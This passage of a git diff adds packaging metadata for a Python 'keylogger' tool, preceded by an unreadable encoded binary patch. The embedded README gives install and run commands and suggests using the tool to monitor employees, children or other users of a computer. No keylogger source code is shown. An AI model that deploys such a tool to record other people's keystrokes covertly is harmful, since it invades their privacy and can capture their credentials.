zfQGC?d)zrZmD`4At12wWC|P_57FL%csWQ$5hkk{rnF5KDan10W?EbEV4ey7r zRiYllQUr@I@|#ktLK;=x-xEWXHp;zOsfW@cy5nYrtjJoCP`&s+Y`E(6w4L1>2U^uF z+JbIStuG;~p}!agPbKt?zEytR7fJmMNTS5txU0_TPO-ACHM_;XrlWdzpYzrH#wy}_ zp!nLwO#E40i*956chToNY3E8**sPv)+!Q^O*qgE5LhU!iTMJs6ajrX`)5E44kLvW0 zN{lb}2C~XMrsv#sFlPJk$`Tw#tw}Qoou+12Y|D8OPem|QY`;CGbtYwr1K4Qc$3?%` zdy5jhSrDQ(+^*($Qy!ofNHwMG7F?;SonVSozLG0+dhO7uCf(DN$%TlbJ zGCLn$*;p(*vM7a-xWL{*o2=k)W{S+Sq545pZvgC%+* zFI_V$f(Uc8;wB!gx5|oH7FZxl-`#842Pr_V@h1{;ps8!!3iVkuC@$93E((uyxuE+T zFo-w1#>TnvYq;V}IX+lR-fF?{p8k$;r}VY~TON1n@~oZe*W!6Gz0(es3t&k~uell3 zW^E(Y39PiP6>|ferc{kU4g2vG|G$nc^(}j)05zAk#%FCLdO-;aY7U)fY#bI?z#)JG6Y!jwF6WwoHk${)W*%mWxdzDfOj{tQr+6>bw>4V zX94=jNmk=VJlgidIM3`!37vH!hpO9H~#3(jLk$1Q2`D2j9rvCu47TD5LRkUj_VD8cvl~K;rjRWt&|xQ5HOk_{3DqQdg_fTaja3 zmL-S($a%7~vxI{L~7*mBpV@ts+rOB=pMCz~q{Mprqw%0gsc&)qt^HfQOzs zk)({H-tiUPGo&7PQWV5eIxEh4^$dur5-C&@z2z-C>`=zzcqAsupTr}sB&C3w%2HK9 z#6T5JQ76JgNX6lB25id~oQG^QBv%3{Ktb%$b0SyB?Drf@fx<&o3v99X^wgS#x+B?F zg|6%uKgn{3o;5_so<$xPmV*NC;MT9~)u%L3RMQgZiR*+24nrS{(*tpeoKumrpVH(! ze=>peP}Y$1EL*a9j%CqcsY}{F26h;7pM%NTc9#oP z;kGV&=oPVlS**KSt-BI+_oT}7G#%^J)ToEN>IotD1oNxQxZ+Dsr>>s(7pgA4G&Rae zl|Pz*H07>dSSfM@2qom=a-pe(#_2sstLSgFNfW&KS}T66NJS58G#P+=R|}?9!i_h` zH5KSew*5%HVaz_Kk_}h&a#aZ^p4VJ};m4B(2uPqB@*xW7%qT{hT z?1a>@PbGQGyzDKzum(^GCQV8XC~_?~@ZAgJ+HCh2CwN9;dv|Slo*2u6F+oSgV9}n^=-uGfC zuWvLy0^C^lU}&THiLpl0gT#z$b{CB6HLt1J<1xC-&|TVr4}N3n z_5bO|{nVN8rgpsF9wNuJ{UHpu1N7E+H)f!>avn4|j&G{XfX3eMDmW z{Kp&YzwSQoef=No4{G*5*c{;d;e?H}x4>;k)!={=5dqy6u0*WdrSv){)5 z50n3co43);pKTeLGquliKfoumi(hm?dcX$w&Xv|y{(J2I%isC3f&FjqYwN#w|I299 z=Kl}#X@37p@%q2!SG*YVja43ZQ}xaje6f>kARWr0C@31~N{>za(6eQ&2VkLR#~v{C z+CAqy#lNQd?fD7azH8IFqHG(V4z6-hd}=%uWpprs>GX^-vb`8rLFlhNETAf{VO5Yp6i)S)gGaxGzlD#)EKh0TkBXDsN8N&E(IN|f z^ro|JGh*>%}W*yd+4oNhiPTe*>Yd`I${j{I<(|+2|EkFMTtNejD0H6Q>>$n1} literal 0 HcmV?d00001 diff --git a/linux/keylogger.egg-info/PKG-INFO b/linux/keylogger.egg-info/PKG-INFO new file mode 100644 index 0000000..39b7ba5 --- /dev/null +++ b/linux/keylogger.egg-info/PKG-INFO @@ -0,0 +1,81 @@ +Metadata-Version: 2.1 +Name: keylogger +Version: 2.7.2 +Summary: A simple keylogger for Windows, Linux and Mac +Home-page: https://simple-keylogger.github.io +Author: Giacomo Lawrance +Author-email: thenerdystudent@gmail.com +License: MIT +Description: # Keylogger + + **Keylogger** is simple keylogger for Windows, Linux and Mac. + ## Installation + + The following instructions will install Keylogger with pip Python package manager. + + ### pip + + This installs the latest stable, released version. + + ``` + $ pip install keylogger + ``` + + ## How to run it + + By running `keylogger` command, it'll start to log your strokes: + ``` + $ keylogger + + RECORD extension version 1.13 + ``` + + The Keylogger is now running! It will log your strokes to the file you specified. Stop it by hitting the grave key (Thats the one under escape on a standard keyboard). + + Keylogger has several options that can be used to change output log file and change its cancel key: + + * `--log-file output.og`: File path to use as the log file. Default is current directory. + * `--cancel-key`: The key that uses as the cancel key, default is '`'. + * `--clean-log`: clean the log file first, default is No. + + #### Use cases + + Some uses of a keylogger are: + + - Business Administration: Monitor what employees are doing. + - School/Institutions: Track keystrokes and log banned words in a file. + - Personal Control and File Backup: Make sure no one is using your computer when you are away. + - Parental Control: Track what your children are doing. + - Self analysis + + --- + + + + ## 2.7.3 (2018-12-20) + + - Fixed typo + + ## 2.7.2 (2018-12-05) + + - Add CHANGES file and update `setup.py` file - Thanks **@GreatBahram** + + ## 2.7.1 (2018-12-04) + + - Add python package structure - Thanks **@GreatBahram** + - Add CLI for `keylogger` - Thanks **@GreatBahram** + - Update Readme file- Thanks **@GreatBahram** + +Platform: UNKNOWN +Classifier: Development Status :: 5 - Production/Stable +Classifier: Intended Audience :: Developers +Classifier: Natural Language :: English +Classifier: License :: OSI Approved :: Apache Software License +Classifier: Programming Language :: Python +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.4 +Classifier: Programming Language :: Python :: 3.5 +Classifier: Programming Language :: Python :: 3.6 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: Implementation :: CPython +Description-Content-Type: text/markdown diff --git a/linux/keylogger.egg-info/SOURCES.txt b/linux/keylogger.egg-info/SOURCES.txt new file mode 100644 index 0000000..3572069 --- /dev/null +++ b/linux/keylogger.egg-info/SOURCES.txt @@ -0,0 +1,13 @@ +README.md +setup.py +keylogger/__init__.py +keylogger/__version__.py +keylogger/keylogger.py +keylogger/pyxhook.py +keylogger.egg-info/PKG-INFO +keylogger.egg-info/SOURCES.txt +keylogger.egg-info/dependency_links.txt +keylogger.egg-info/entry_points.txt +keylogger.egg-info/not-zip-safe +keylogger.egg-info/requires.txt +keylogger.egg-info/top_level.txt \ No newline at end of file diff --git a/linux/keylogger.egg-info/dependency_links.txt b/linux/keylogger.egg-info/dependency_links.txt new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/linux/keylogger.egg-info/dependency_links.txt @@ -0,0 +1 @@ + diff --git a/linux/keylogger.egg-info/entry_points.txt b/linux/keylogger.egg-info/entry_points.txt new file mode 100644 index 0000000..08004c7 --- /dev/null +++ b/linux/keylogger.egg-info/entry_points.txt @@ -0,0 +1,3 @@ +[console_scripts] +keylogger = keylogger.keylogger:main + diff --git a/linux/keylogger.egg-info/not-zip-safe b/linux/keylogger.egg-info/not-zip-safe new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/linux/keylogger.egg-info/not-zip-safe @@ -0,0 +1 @@ + diff --git a/linux/keylogger.egg-info/requires.txt b/linux/keylogger.egg-info/requires.txt new file mode 100644 index 0000000..6df028f --- /dev/null +++ b/linux/keylogger.egg-info/requires.txt @@ -0,0 +1 @@ +xlib diff --git a/linux/keylogger.egg-info/top_level.txt b/linux/keylogger.egg-info/top_level.txt new file mode 100644 index 0000000..882fe37 --- /dev/null +++ b/linux/keylogger.egg-info/top_level.txt @@ -0,0 +1 @@ +keylogger